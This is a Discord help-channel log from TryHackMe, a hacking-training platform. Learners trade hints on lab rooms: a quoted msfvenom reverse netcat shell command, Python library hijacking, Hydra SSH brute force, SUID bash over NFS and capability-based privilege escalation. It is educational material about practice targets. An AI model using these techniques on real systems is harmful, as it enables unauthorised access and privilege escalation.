i understand whats going on up to that point, i guess i dont know how i was supposed to know to google "hide errors" in the first place

#

i feel like some supplementation is required

stuck fractal May 4, 2021, 8:40 PM

#

dry briar i feel like some supplementation is required

Correct, with your own research

#

i guess i dont know how i was supposed to know to google "hide errors" in the first place Because you get a whole bunch of errors without

dry briar May 4, 2021, 8:46 PM

#

i just know how im supposed to have known that was even a thing to be researched...

stuck fractal May 4, 2021, 8:46 PM

#

You got spammed with errors

dry briar May 4, 2021, 8:54 PM

#

but noting ive been taught so far would have lead me to believe thats a thing i could have mitigated.. like everything else has been intuitive up to this point

#

its not like weve really been taught how to interpret the output

worn otter May 4, 2021, 8:57 PM

#

everything is google-able :). If you ever encounter a situation where your instincts tell you "huh, that's weird", or "I'm lost", that's a good candidate for google/other research

#

or also "there's gotta be an easier/better way to do this"

dry briar May 4, 2021, 8:59 PM

#

idk i feel ill prepared... like here is a few commands, no understanding of the output and im just supposed to know what to even google

worn otter May 4, 2021, 9:01 PM

#

there are also the man pages- always a great resource

#

definitely, as a complete beginner, it can be hard asking a "good" or "intelligent" question, but there's also documentation to read, which usually provides a lot of extra context

dry briar May 4, 2021, 9:03 PM

#

i man everything, the out put doesnt even say "error" otherwise id have googled the error code it says permission denied..

#

i feel like im getting through this without really understanding all of it and just getting deeper and deeper.

#

what should i have googled to understand what im doing? like i dont even know that at this point.

worn otter May 4, 2021, 9:07 PM

#

well, in the case of the 2>/dev/null thing, if your thought is "I have no idea what that means", just google the entire thing, and see what pops up. That will often give you enough information to ask further questions

#

In my case, when I google that, the first result is: https://askubuntu.com/questions/350208/what-does-2-dev-null-mean

Ask Ubuntu

What does 2>/dev/null mean?

I would like a brief explanation of the following command line:

grep -i 'abc' content 2>/dev/null

#

that explains what 1, 2, and /dev/null are, as well as >

dry briar May 4, 2021, 9:09 PM

#

ok, i can absolutely do that now, but had i not watched the video i would not have even seen that to be googled.. you see what i mean? i dont want to "cheat" i want to do the work and understand it i just dont see how i could have arrived at this point on my own

worn otter May 4, 2021, 9:11 PM

#

I wouldn't think of it as cheating, as long as you are learning. Think of it like peeling back an onion- as you learn more, you can go a little bit deeper. It takes time. A lot of time. It's not easy, it takes a lot of determination, trial&error, and figuring things out

#

I can't tell you how many times I wasted hours going down a rabbit hole and the solution was something stupidly simple, had I just known. But the key there is: LEARN from those experiences. You struggle, you learn something new. Make a note of it, and next time, that piece will be easier, and you'll instead struggle with something entirely different.

dry briar May 4, 2021, 9:15 PM

#

dont get me wrong, im definitely learning and i dont view it as actually cheating. Just lacked better phrasing. I just feel like i should be able to arrive at the solution with the things i have been taught without having to watch the video and i dont see how i could have done that.

worn otter May 4, 2021, 9:17 PM

#

walkthrough rooms are meant to be instructional, but they can't/don't teach you EVERYTHING. Some of it is because the room creators want you to go research on your own, some of it is because the room might be outdated, some of it is because the creators might assume you know more than you do

#

the biggest/most important skill you can develop is researching and figuring stuff out. Sometimes that's a lot of googling, sometimes it's just trial and error. Kinda depends.

#

but ultimately, everything starts with a question, an "I don't know" moment. Then you have to figure out how to gain some new knowledge that helps you solve the problem

#

Don't get discouraged :).

dry briar May 4, 2021, 9:22 PM

#

... alright, im gonna get back in there. i appreciate your help

worn otter May 4, 2021, 9:23 PM

#

🙂

#

another approach- sometimes it helps to take a break. And list "here are the resources I have/things I know" as well as "here is what I am trying to achieve". In a lot of these simple rooms, it'll be something like "I know ssh is enabled, and I have a username" and "I don't have a password, but I want to log in with ssh"

#

and when you identify that gap, then you have something to work on. Maybe there's a tool that does that. Then you have to go learn a new tool. Stuff like that.

dry briar May 4, 2021, 9:35 PM

#

worn otter and when you identify that gap, then you have something to work on. Maybe there'...

I'll try to keep that in mind, thanks again 🙂

green minnowBOT May 4, 2021, 9:35 PM

#

Gave +1 Rep to @worn otter

tight fulcrum May 4, 2021, 10:17 PM

#

@dry briar here's a good website which explains commands https://explainshell.com/

explainshell.com - match command-line arguments to their help text

match command-line arguments to their help text

#

just type in your commands and it will tell you what each parameter does

worn otter May 4, 2021, 10:41 PM

#

dry briar I'll try to keep that in mind, thanks again 🙂

You're welcome 🙂

white salmon May 5, 2021, 12:57 AM

#

Did you ever find the solution ?

mossy hazel May 5, 2021, 12:58 AM

#

white salmon Did you ever find the solution ?

No, I just grabbed the flag from a blog

white salmon May 5, 2021, 12:59 AM

#

mossy hazel No, I just grabbed the flag from a blog

I think i understand this method and technique already much so, can you DM link to blog please ? 😦

mossy hazel May 5, 2021, 1:00 AM

#

white salmon I think i understand this method and technique already much so, can you DM link ...

Just go to one of the write ups of this room and you'll find it

white salmon May 5, 2021, 1:01 AM

#

mossy hazel No, I just grabbed the flag from a blog

Which blog did you read ? I didn't see any writeups

worn otter May 5, 2021, 1:08 AM

#

Are you guys stuck on the first entry in task 7 or the second?

white salmon May 5, 2021, 1:16 AM

#

worn otter Are you guys stuck on the first entry in task 7 or the second?

Second
Question #2

slender dawn May 5, 2021, 4:13 AM

#

@white salmon you should get the xss flag after you logout

#

https://discordapp.com/channels/521382216299839518/522158539129618453/835196647989968906

white salmon May 5, 2021, 5:38 AM

#

Google?

astral wave May 5, 2021, 5:40 AM

#

nevermind... was just mounting error. Worked fine with remounting. Thanks

white salmon May 5, 2021, 5:54 AM

#

slender dawn https://discordapp.com/channels/521382216299839518/522158539129618453/8351966479...

That's what i'm expecting but I see no flag

slender dawn May 5, 2021, 5:55 AM

#

white salmon That's what i'm expecting but I see no flag

after u logout?

white salmon May 5, 2021, 5:55 AM

#

yessir

#

All i see is the pop up alert xss box

#

no flag

slender dawn May 5, 2021, 5:55 AM

#

the xss should pop up when u login

#

after you logout the flag should be there ig

white salmon May 5, 2021, 5:56 AM

#

slender dawn after you logout the flag should be there ig

Are you referring to Task 7 question #2 in the Juice Shop Room?

slender dawn May 5, 2021, 5:56 AM

#

yea click on that link

slender dawn May 5, 2021, 5:57 AM

#

slender dawn https://discordapp.com/channels/521382216299839518/522158539129618453/8351966479...

this one

#

u can see i am logged out

white salmon May 5, 2021, 5:58 AM

#

yeah not sure why it's not doing the same on my end

slender dawn May 5, 2021, 5:58 AM

#

hmm ig there is a problem

#

cuz someone was saying the same when i posted that ss as well

white salmon May 5, 2021, 6:01 AM

#

slender dawn hmm ig there is a problem

EmptyBuffer
—
Today at 7:19 PM
that's not the flag that I have in my notes
so either it's changed/dynamic, or you got the flag for doing something else
In my notes, that's the flag for error handling not done gracefully
so- congrats on causing an error in the backend 🙂
the flag I got for that question started with a 23 and ended with a a0
Good luck with it :). I'm afk for a while

#

That's what EmptyBuffer said earlier

#

Same thing is happening for question #3 Task 7 in Juice Shop...

brave vale May 5, 2021, 8:06 AM

#

in Year of the Fox ||the priveleges scaling goes on the side of the PATH environment variable||, isn't it? ||the output of sudo -l is different in my system||...

pearl mirage May 5, 2021, 8:17 AM

#

Hi, I am doing the JuiceShop, par three, "question" 2 is really a statement, I don't understand what I suppose to submit

#

"Question #2: Log into the Bender account!"

pearl mirage May 5, 2021, 8:33 AM

#

Ach, those are all suppose to be flags... 😄

#

ThankYou NeuroScientician

#

np 😄

brave vale May 5, 2021, 9:10 AM

#

pearl mirage Ach, those are all suppose to be flags... 😄

It's not necessary to be sarcastic, here we are all volunteers, if nobody answered your question it is because probably nobody has read it or we did not make the room you are making

pearl mirage May 5, 2021, 9:17 AM

#

It's just fun, no worries 😄

#

But to be honest, someone could edit the room and add some more specific questions.

ripe hedge May 5, 2021, 9:37 AM

#

they're more tasks than questions, and the Juice Shop will give you flags as you complete them

#

a question might throw people off more, as they're more likely to answer the question rather than input the flag

white salmon May 5, 2021, 10:29 AM

#

Pls i need hint in the room OhSINT

#

I've managed to figure all the tasks out apart from the last, password part

#

I'm really unsure how I'd get the password?

prime willow May 5, 2021, 10:42 AM

#

white salmon Pls i need hint in the room OhSINT

to get the answer, back to the source you must go..

tight fulcrum May 5, 2021, 10:44 AM

#

white salmon I'm really unsure how I'd get the password?

look for a "pennY" in the blog? blobfingerguns

white salmon May 5, 2021, 11:14 AM

#

Thank you both, I'm pretty sure I can find it now with some looking

tight fulcrum May 5, 2021, 11:28 AM

#

white salmon Thank you both, I'm pretty sure I can find it now with some looking

bet you will

prime willow May 5, 2021, 11:36 AM

#

white salmon Thank you both, I'm pretty sure I can find it now with some looking

👍

solemn onyx May 5, 2021, 2:06 PM

#

Hey I was doing room wonderland... I got the ssh shell, any hints how to escalate from alice to rabbit? It doesn't seem that I can manipulate PYTHONPATH, or anything else with that python file given... (just using random module)

Ps: Try to give least hint possible 😅 I liked the theme of this box ❤️ and want to pull it off myself

stuck fractal May 5, 2021, 2:08 PM

#

solemn onyx Hey I was doing room **wonderland**... I got the ssh shell, any hints how to esc...

Look at how imports work, by default.

#

You can't edit the script itself, but you can do something similar to what you're thinking about

solemn onyx May 5, 2021, 2:10 PM

#

Hmm alright, thx ✌️ lemme see it

solemn onyx May 5, 2021, 2:39 PM

#

Ok, I get it, ||I have to create a custom random module in my home directory (but I wonder if the rabbit's path is going to random in my directory 🤔 ||

Moreover, here's my code I did provide executable permissions to custom random file I created with nano in my alice's home directory... And here's the code... Can anybody plzz guide me what's wrong in this 😅 It doesn't seem to work

#


import os

class Random(random.Random):
        def choice(self,seq):
                os.system('sleep 5')
                return 1

stuck fractal May 5, 2021, 2:50 PM

#

solemn onyx Ok, I get it, ||I have to create a custom random module in my home directory (bu...

Their PATH doesn't matter, it's in the cwd which doesn't change

stuck fractal May 5, 2021, 2:51 PM

#

solemn onyx ```python import os class Random(random.Random): def choice(self,seq):...

No class required, importing random.random means the function random from the module random

#

When you import a module, it'll run all the top level code as soon as it's imported

#

It'll then allow you to call functions defined in the module, with the module as the prefix if you don't import a specific function

solemn onyx May 5, 2021, 2:54 PM

#

ohh I see... Let me try a simple code then...

#

Hah, it did execute... right there, first line of output... Lovely ❤️

stuck fractal May 5, 2021, 2:56 PM

#

Yep, and you can define choice if you want it to error out less

solemn onyx May 5, 2021, 2:56 PM

#

thx so much ❣️

solemn onyx May 5, 2021, 2:56 PM

#

stuck fractal Yep, and you can define choice if you want it to error out less

Yeaa... Infact...

solemn onyx May 5, 2021, 2:56 PM

#

stuck fractal When you import a module, it'll run all the top level code as soon as it's impor...

This, now makes sense

stuck fractal May 5, 2021, 2:56 PM

#

Hope you enjoy the rest of the box!

solemn onyx May 5, 2021, 2:57 PM

#

Sure, will let know when rooted 😃

solemn onyx May 5, 2021, 3:24 PM

#

hahaha, this room had me solving Bof for the teaparty binary 😂 well designed @stuck fractal (This was cruel 😈 )

stuck fractal May 5, 2021, 3:24 PM

#

I have a way I could have made it crueller

#

I chose not to

solemn onyx May 5, 2021, 3:25 PM

#

well glad you didn't... I suck at bofs

#

but now at hatter

#

nice one 👍

#

so where should I aim for next? tryhackme user or root?

#

Just confused now... Coz there's nothing more I could find with enumeration?

stuck fractal May 5, 2021, 3:40 PM

#

tryhackme is the user I used to create the box

#

You should not be able to get that user until you get root

stuck fractal May 5, 2021, 3:40 PM

#

solemn onyx Just confused now... Coz there's nothing more I could find with enumeration?

You've seen it previously, you just couldn't use it

#

Assuming you ran linpeas

solemn onyx May 5, 2021, 3:44 PM

#

hmm, doesn't ring any bellls... May be I should try to re-look the path I came? N yes, I ran linpeas, It showed a localservice running on 53 (assuming dns) but not much idea (should I head that way?)

stuck fractal May 5, 2021, 3:44 PM

#

Linpeas will highlight something in big red angry letters

solemn onyx May 5, 2021, 3:46 PM

#

umm is it a mount point?

#

I found one here

stuck fractal May 5, 2021, 3:47 PM

#

solemn onyx umm is it a mount point?

No

#

It is something reasonably basic, but you couldn't exploit it until you got to this user

solemn onyx May 5, 2021, 3:48 PM

#

ohh, I see... lemme look through the output once again

#

ok I don't know what this means, but I did found perl with in a group of hatter (and that's not default 😏 )

#

does that mean something? coz it's not an suid either and no write permissions 🤔

stuck fractal May 5, 2021, 4:00 PM

#

solemn onyx does that mean something? coz it's not an suid either and no write permissions �...

Is it not?

#

Check again 😉

solemn onyx May 5, 2021, 4:03 PM

#

I am sure about not having the suid/sgid permissions

silver otter May 5, 2021, 4:07 PM

#

I'm not sure you are looking for that with the right command

solemn onyx May 5, 2021, 4:10 PM

#

Ohh I am actually a little confused... What is the difference between normal SETUID and a CAP_SETUID.

#

I did found these with linpeas (ran again)

stuck fractal May 5, 2021, 4:12 PM

#

solemn onyx Ohh I am actually a little confused... What is the difference between normal SET...

Capabilities are an alternative to SUID

#

They provide much more granular control over what a program can do

#

Like you can add cap net bind to a process to allow it to bind to ports under 1024 without running as root.
The idea is to have less code running as root and to not grant more privileges than a program needs

#

Least priv model

solemn onyx May 5, 2021, 4:18 PM

#

stuck fractal Like you can add cap net bind to a process to allow it to bind to ports under 10...

Ohhh, I didn't knew bout this... So we can allot suid permissions to an elf without giving u+s. It's actually... Impressive 🔥

#

Well designed sirr blobheart

stuck fractal May 5, 2021, 4:18 PM

#

Yeah, SUID permissions (+s) work in a very similar way as cap setuid

#

Capabilities are spicy

solemn onyx May 5, 2021, 4:20 PM

#

And I copied that long command from gtfo... But this was srsly such a nice box ❤️

#

thanks for helping @stuck fractal you got any other recommendations? Like this box?

green minnowBOT May 5, 2021, 4:21 PM

#

Gave +1 Rep to @stuck fractal

stuck fractal May 5, 2021, 4:21 PM

#

Looking Glass is the direct sequel

#

I have a 3rd instalment partly planned out that's a good step up in difficulty

solemn onyx May 5, 2021, 4:22 PM

#

Ahh, I love sequels... ❤️

finite lintel May 5, 2021, 4:51 PM

#

hello I'm a new user on tryhackme, I'm stuck at a question

#

We're going to generate a reverse shell payload using msfvenom.This will generate and encode a netcat reverse shell for us. Here's our syntax:

"msfvenom -p cmd/unix/reverse_netcat lhost=[local tun0 ip] lport=4444 R"

-p = payload
lhost = our local host IP address (this is your machine's IP address)
lport = the port to listen on (this is the port on your machine)
R = export the payload in raw format

What word does the generated payload start with?

#

I had an error

#

"Error: One or more options failed to validate: LPORT."

#

can someone help me ? plz I'm a beginner 🥲

solemn onyx May 5, 2021, 5:15 PM

#

finite lintel We're going to generate a reverse shell payload using msfvenom.This will generat...

This [local tun0 ip] is not a thing in actual, it's a reference that you should input the tun0 ip here.

You can find your ip using ifconfig tun0 or ip addr s tun0 once you get that ip... input it in place of lhost

worn otter May 5, 2021, 5:20 PM

#

it also shows on the THM access page, or on the header of the room page you are on

finite lintel May 5, 2021, 5:49 PM

#

solemn onyx This `[local tun0 ip]` is not a thing in actual, it's a reference that you shoul...

Ok thank you I see

green minnowBOT May 5, 2021, 5:49 PM

#

Gave +1 Rep to @solemn onyx

open kelp May 5, 2021, 11:33 PM

#

L

dreamy skiff May 6, 2021, 2:10 AM

#

Hello, I'm doing Year of the rabbit, anyone can give me hints? I'm having problems with privesc

white salmon May 6, 2021, 2:43 AM

#

dreamy skiff Hello, I'm doing Year of the rabbit, anyone can give me hints? I'm having proble...

What have you tried so far?

dreamy skiff May 6, 2021, 2:44 AM

#

I know i can change between users. But I cant find what to do after that.

#

No cron jobs or processes that I thin I can use

#

I think maybe Im complicating things haha

white salmon May 6, 2021, 2:46 AM

#

Did you try any Priv. Esc. Script? @dreamy skiff

dreamy skiff May 6, 2021, 2:47 AM

#

I used lse and LinEnum. Maybe im not reading them thoroughly.

#

I was reading about Capabilities now.

white salmon May 6, 2021, 2:48 AM

#

dreamy skiff I used lse and LinEnum. Maybe im not reading them thoroughly.

Take a close look at ||sudo version||

dreamy skiff May 6, 2021, 2:51 AM

#

I tried a bit of that, after looking at the version. But got some errors. Maybe I misstyped.

#

I'll investigate more

#

thanks

white salmon May 6, 2021, 2:55 AM

#

dreamy skiff I tried a bit of that, after looking at the version. But got some errors. Maybe ...

Search that version and read the articles carefully!

bold lichen May 6, 2021, 5:28 AM

#

Guys what does this question mean ? From task 3 and question 3 from network service 2 now . Use /use/sbin/showmount ....... please let me know thanks I searched Google haven't gotten any hint

white salmon May 6, 2021, 5:35 AM

#

bold lichen Guys what does this question mean ? From task 3 and question 3 from network serv...

By using showmount binary, you can list the NFS shares.

loud lantern May 6, 2021, 5:53 AM

#

I'm trying to submit a zero-star review in the OWASP Juice shop and I have no idea how to do that. Can someone give me a starting point?

bold lichen May 6, 2021, 5:55 AM

#

white salmon By using `showmount` binary, you can list the NFS shares.

So it should be showmount /use/share /showmount -e IP?

white salmon May 6, 2021, 5:55 AM

#

loud lantern I'm trying to submit a zero-star review in the OWASP Juice shop and I have no id...

There are tons of articles about that. Search it up on Google. 🙂

white salmon May 6, 2021, 5:56 AM

#

bold lichen So it should be showmount /use/share /showmount -e IP?

No, showmount is a binary. Just like nmap. Therefore you can use showmount -e.

#

With /usr/share/showmount, you are actually executing the binary from it's location.

bold lichen May 6, 2021, 5:56 AM

#

white salmon No, showmount is a binary. Just like nmap. Therefore you can use showmount -e.

Oh got it

#

Okay got it got it thanks

white salmon May 6, 2021, 5:57 AM

#

Welcome! 🙂

bold lichen May 6, 2021, 5:57 AM

#

white salmon With /usr/share/showmount, you are actually executing the binary from it's locat...

But it says export list for IP
/Home *

#

What does that mean

white salmon May 6, 2021, 5:58 AM

#

* means everyone can mount that share. If in place of * there would be an IP, then that means only that IP Address can mount the /home share.

bold lichen May 6, 2021, 5:58 AM

#

white salmon `*` means everyone can mount that share. If in place of `*` there would be an IP...

Okay thanks alot

green minnowBOT May 6, 2021, 5:58 AM

#

Gave +1 Rep to @halcyon sequoia

white salmon May 6, 2021, 5:58 AM

#

Your very welcome!

bold lichen May 6, 2021, 6:18 AM

#

@white salmon hey so I reached till question 6" interesting let's do it " so it says I have to look into the folder

#

And when I look into the folder nothing is there

#

I did list all its total 0

white salmon May 6, 2021, 6:20 AM

#

What was the command you used to mount? Did it give any error?
Share screenshots.

bold lichen May 6, 2021, 6:20 AM

#

No it dint give any error infact I got the name of the folder

bold lichen May 6, 2021, 6:20 AM

#

white salmon What was the command you used to mount? Did it give any error? Share screenshot...

Ya one sec

#

#

Here is the image

white salmon May 6, 2021, 6:23 AM

#

That's weird.

#

Try resetting the box, maybe.

bold lichen May 6, 2021, 6:24 AM

#

Okay cool

bold lichen May 6, 2021, 6:25 AM

#

white salmon That's weird.

One more thing nmap is too slow anything fast ?

white salmon May 6, 2021, 6:26 AM

#

Rustscan

bold lichen May 6, 2021, 6:26 AM

#

It does the same thing ?

white salmon May 6, 2021, 6:26 AM

#

Yep.

#

Scans 65535 ports in less than a minute I guess.

#

@bold lichen https://github.com/RustScan/RustScan

bold lichen May 6, 2021, 6:30 AM

#

white salmon Try resetting the box, maybe.

Facing the same issue

true widget May 6, 2021, 6:32 AM

#

i am solving room battery.https://tryhackme.com/room/battery

TryHackMe

TryHackMe | battery

CTF designed by CTF lover for CTF lovers

#

found an admin login panel looged in with defualt creds ||admin:pass||.Still cant execute commands it says only admin can execute commands.Also tried by disabling javascript but still no good.Any hints would be highly appreciated!Thanks in advance😊

white salmon May 6, 2021, 6:38 AM

#

@true widget Did you try gobuster on port 80?

rapid flower May 6, 2021, 6:44 AM

#

Can someone give me a hint for the archangel room.... I know there is directory named as ||flag|| but the page there but it redirects to youtube... tried to intercept the redirection with burpsuite but no help

brave vale May 6, 2021, 6:45 AM

#

rapid flower Can someone give me a hint for the archangel room.... I know there is directory ...

Disable something that start with J...

true widget May 6, 2021, 7:24 AM

#

@white salmon yes i did that how I got to that banking application.I also got a binary too but can't figure it out

white salmon May 6, 2021, 7:48 AM

#

@true widget Try ||RE on binary?||

solemn onyx May 6, 2021, 8:02 AM

#

Room: Blog (wordpress 5.0 exploit executed successfully but the PoC link generated is not giving command execution)

Any hints what can I be doing wrong? I got the username and the password... The image I uploaded is also opening in the page source (gibberish) just not executing commands

true widget May 6, 2021, 8:24 AM

#

@white salmon i tried with ghidra.But being honest I am a beginner in re stuff.But I ll give one more try🤘

white salmon May 6, 2021, 8:47 AM

#

@true widget You will get it, it's easy.

stuck fractal May 6, 2021, 1:26 PM

#

It's not the name of the person

lyric lichen May 6, 2021, 2:00 PM

#

Room: VulnNet: Internal... I got the first flag(service-flag) but im stuck at the internal flag. i just cant find any ressoures on the services that i can access without credentials (except the one where I got the service flag) does anyone have a hint ? 😅

bold lichen May 6, 2021, 2:20 PM

#

hey i need some help

#

with task 7

#

sorry wrong image

#

this is the imag

#

so i got the username and stuff and i applied it to hdyra and tired to run as mentioned in the task to do but it keeps saying it cant connect to the network

#

@white salmon

silver otter May 6, 2021, 2:23 PM

#

what happens if you just type ssh administrator@ipaddress ?

#

you didn't say what room this is

bold lichen May 6, 2021, 2:23 PM

#

network service 2

silver otter May 6, 2021, 2:23 PM

#

it sounds like ssh might not be on default port or you can't talk to the target

bold lichen May 6, 2021, 2:23 PM

#

yep its on 25 port

silver otter May 6, 2021, 2:23 PM

#

25?

bold lichen May 6, 2021, 2:23 PM

#

i guess since its a smtp room

silver otter May 6, 2021, 2:24 PM

#

thats not default ssh so I doubt hyrda knows

bold lichen May 6, 2021, 2:25 PM

#

okay let me change and see

bold lichen May 6, 2021, 2:26 PM

#

silver otter thats not default ssh so I doubt hyrda knows

same issue i changed the port to 25 nothing happened

silver otter May 6, 2021, 2:26 PM

#

screenshot

bold lichen May 6, 2021, 2:26 PM

#

yep

silver otter May 6, 2021, 2:27 PM

#

and try not blur the syntax of the command with scribbles lol

bold lichen May 6, 2021, 2:27 PM

#

i am blurring the ip

#

is that okay ?

bold lichen May 6, 2021, 2:28 PM

#

silver otter and try not blur the syntax of the command with scribbles lol

silver otter May 6, 2021, 2:28 PM

#

ip is fine as long as you get it correct, it seems to respond

#

what happens when you just try to ssh without hydra

#

(on port 25)

bold lichen May 6, 2021, 2:29 PM

#

let me try but since the room said to do with hydra my initial was hydr

silver otter May 6, 2021, 2:30 PM

#

yeah but now you need to troubleshoot your connectivity to ensure its working ok

bold lichen May 6, 2021, 2:30 PM

#

silver otter yeah but now you need to troubleshoot your connectivity to ensure its working ok

it says could not connect no port 25 exist

silver otter May 6, 2021, 2:30 PM

#

it doesn't look like it shoudl be port 25

#

(just opened the room)

white salmon May 6, 2021, 2:31 PM

#

Is the IP of machine correct? Also, are you sure that the SSH port is 25? @bold lichen

bold lichen May 6, 2021, 2:31 PM

#

silver otter it doesn't look like it shoudl be port 25

yep cause its a smtp server so it should be 25

silver otter May 6, 2021, 2:31 PM

#

just because it is running an smtp server

carmine stratus May 6, 2021, 2:31 PM

#

Hello 👋 - For VulnNet: Internal, does anyone have a nudge/hint for the user flag? Trying to get RCE but ran out of ideas

silver otter May 6, 2021, 2:31 PM

#

doesn't mean it can't run ssh on another port

bold lichen May 6, 2021, 2:31 PM

#

silver otter doesn't mean it can't run ssh on another port

okay

silver otter May 6, 2021, 2:31 PM

#

its like 22, the given command is default

#

try ssh without port specified

bold lichen May 6, 2021, 2:32 PM

#

okay

#

says no route found

white salmon May 6, 2021, 2:32 PM

#

Hey, are you sure the IP of the machine is correct?

bold lichen May 6, 2021, 2:33 PM

#

yep i doubled cross checked it

#

i can share a picture with the ip

silver otter May 6, 2021, 2:33 PM

#

can you screenshot the ip and the one you are typing

#

its only a target machine

bold lichen May 6, 2021, 2:33 PM

#

okay no issue

silver otter May 6, 2021, 2:33 PM

#

its not like someone will steal your chance to hack it

white salmon May 6, 2021, 2:33 PM

#

If IP is correct, then maybe try resetting the box. Just in case.

silver otter May 6, 2021, 2:34 PM

#

and ensure you are on the VPN

white salmon May 6, 2021, 2:34 PM

#

carmine stratus Hello 👋 - For `VulnNet: Internal`, does anyone have a nudge/hint for the user ...

Where are you at?

bold lichen May 6, 2021, 2:34 PM

#

bold lichen May 6, 2021, 2:34 PM

#

silver otter and ensure you are on the VPN

using attack box

white salmon May 6, 2021, 2:34 PM

#

silver otter and ensure you are on the VPN

I guess, he is using attackbox

bold lichen May 6, 2021, 2:34 PM

#

yep

silver otter May 6, 2021, 2:34 PM

#

oh I see

bold lichen May 6, 2021, 2:35 PM

#

one is with hydra and other is with ssh

#

ip of the machine is 10.10.110.116

silver otter May 6, 2021, 2:35 PM

#

ok but a screenshot of the box's IP

#

mmm

bold lichen May 6, 2021, 2:35 PM

#

silver otter May 6, 2021, 2:35 PM

#

that says

#

166

white salmon May 6, 2021, 2:35 PM

#

166

silver otter May 6, 2021, 2:35 PM

#

not 116

#

.>

bold lichen May 6, 2021, 2:36 PM

#

shit

#

omg

silver otter May 6, 2021, 2:36 PM

#

bold lichen yep i doubled cross checked it

kekwsanta

#

hah hah

#

easy mistake to make

bold lichen May 6, 2021, 2:36 PM

#

so sorry

#

to both of u

#

i am so sorry

white salmon May 6, 2021, 2:36 PM

#

No worries, things like this happen.

silver otter May 6, 2021, 2:36 PM

#

all g

bold lichen May 6, 2021, 2:36 PM

#

so sorry guys i am really sorry

white salmon May 6, 2021, 2:36 PM

#

Uhuh, It's alright!

silver otter May 6, 2021, 2:37 PM

#

well, put it this way, I bet you won't make that mistake again in a hurry

bold lichen May 6, 2021, 2:37 PM

#

thanks @white salmon and @silver otter

green minnowBOT May 6, 2021, 2:37 PM

#

Gave +1 Rep to @halcyon sequoia

white salmon May 6, 2021, 2:37 PM

#

Now, tell us if it's working.

bold lichen May 6, 2021, 2:37 PM

#

silver otter well, put it this way, I bet you won't make that mistake again in a hurry

ye one sec

#

now my attack box has hanged

white salmon May 6, 2021, 2:39 PM

#

Alas!

#

So did my brain. AFK.

bold lichen May 6, 2021, 2:41 PM

#

gonna use local skali

#

kali

#

by the way i check man and tried to understand hydra task what it does ? is it like multithreading

silver otter May 6, 2021, 2:43 PM

#

-t is threads I think yes

bold lichen May 6, 2021, 2:44 PM

#

so like multithreading rite sending request at each time multiple

silver otter May 6, 2021, 2:45 PM

#

yeah, something like that

bold lichen May 6, 2021, 2:46 PM

#

getting the same issue

silver otter May 6, 2021, 2:46 PM

#

are you connected to the VPN?

bold lichen May 6, 2021, 2:47 PM

#

yep

silver otter May 6, 2021, 2:47 PM

#

can you try ssh

bold lichen May 6, 2021, 2:47 PM

#

okay

silver otter May 6, 2021, 2:48 PM

#

if that doesn't work either ensure you can browse to 10.10.10.10

bold lichen May 6, 2021, 2:51 PM

#

my browser is connecting to 10.10.10.10

#

but ssh is not

silver otter May 6, 2021, 2:52 PM

#

kind of strange

bold lichen May 6, 2021, 2:52 PM

#

silver otter if that doesn't work either ensure you can browse to 10.10.10.10

yep even attack the box is lagging for me which never happens

#

and this isnt connection

#

connecting

silver otter May 6, 2021, 2:53 PM

#

is the attack box running?

#

the hydra command?

#

(it can use a lot of resources)

bold lichen May 6, 2021, 2:53 PM

#

silver otter is the attack box running?

now atb is running

bold lichen May 6, 2021, 2:53 PM

#

silver otter the hydra command?

it runs the command but doesn't connect to the ssh

#

should i restart the server ?

silver otter May 6, 2021, 2:53 PM

#

yeah probably

bold lichen May 6, 2021, 2:54 PM

#

cool

silver otter May 6, 2021, 2:54 PM

#

it is quite strange

#

when the box is back up (after waiting 5 - 7 mins cos its windows afaik?)

#

try ssh first

bold lichen May 6, 2021, 2:56 PM

#

now its working

#

hydra is not refusing and it has started a brute forcw

#

force

silver otter May 6, 2021, 2:57 PM

#

haha ok wow

#

interesting

#

well, I don't know what the problem was but good work

bold lichen May 6, 2021, 2:58 PM

#

silver otter well, I don't know what the problem was but good work

yea , can someone already take the access and change something is that possible

bold lichen May 6, 2021, 2:58 PM

#

silver otter interesting

thank you

green minnowBOT May 6, 2021, 2:58 PM

#

Gave +1 Rep to @silver otter

silver otter May 6, 2021, 2:58 PM

#

it might be if it was one of the cool kids like CMNatic but I don't think so typically

bold lichen May 6, 2021, 3:00 PM

#

silver otter it might be if it was one of the cool kids like CMNatic but I don't think so typ...

mmaybe haha , but tryhackme so much fun dude in the previous task like nfs and all i did take a small help in smtp i never did meta spoilt and my god i google stuff how to use metaspoilt and stuff man this has been so good

silver otter May 6, 2021, 3:01 PM

#

hahah, yeah it's a great platform for learning no doubt!

#

I kind of somewhat wish it wasn't called tryhackme because it kind of lends itself to sounding less professional than it is

bold lichen May 6, 2021, 3:02 PM

#

silver otter I kind of somewhat wish it wasn't called tryhackme because it kind of lends itse...

its perfect i am enjoying it alot and i feel this is a great field

#

i ignored it for so long but now i am so happy i did it again

silver otter May 6, 2021, 3:03 PM

#

you'll never have to resort to being a killerthief again!

bold lichen May 6, 2021, 3:03 PM

#

silver otter you'll never have to resort to being a killerthief again!

haha true

bold lichen May 6, 2021, 3:04 PM

#

silver otter you'll never have to resort to being a killerthief again!

back to thm have to finish this beautiful room

wintry remnant May 6, 2021, 3:12 PM

#

Hello,
If there is anyone, who can give me a hint with Network service 2- task 4" exploring NFS"? Please send me a message.
When running the script './bash -p' , i am expecting my privilege to escalate to " root". Unfortunately, i am still a normal user. The permission for bash file is "rwsr-sr-x". As shown below: cappucino@polonfs:~$ whoami
cappucino
cappucino@polonfs:~$ ./bash -p
cappucino@polonfs:~$ whoami
cappucino
cappucino@polonfs:~$ id
uid=1000(cappucino) gid=1000(cappucino) groups=1000(cappucino),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
cappucino@polonfs:~$ ls
bash
cappucino@polonfs:~$ ls -al
total 1124
drwxr-xr-x 5 cappucino cappucino 4096 Apr 30 11:03 .
drwxr-xr-x 3 root root 4096 Apr 21 2020 ..
-rwsr-sr-x 1 cappucino cappucino 1113504 Apr 30 11:03 bash
-rw------- 1 cappucino cappucino 5 Jun 4 2020 .bash_history
-rw-r--r-- 1 cappucino cappucino 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 cappucino cappucino 3771 Apr 4 2018 .bashrc
drwx------ 2 cappucino cappucino 4096 Apr 22 2020 .cache
drwx------ 3 cappucino cappucino 4096 Apr 22 2020 .gnupg
-rw-r--r-- 1 cappucino cappucino 807 Apr 4 2018 .profile
drwx------ 2 cappucino cappucino 4096 Apr 22 2020 .ssh
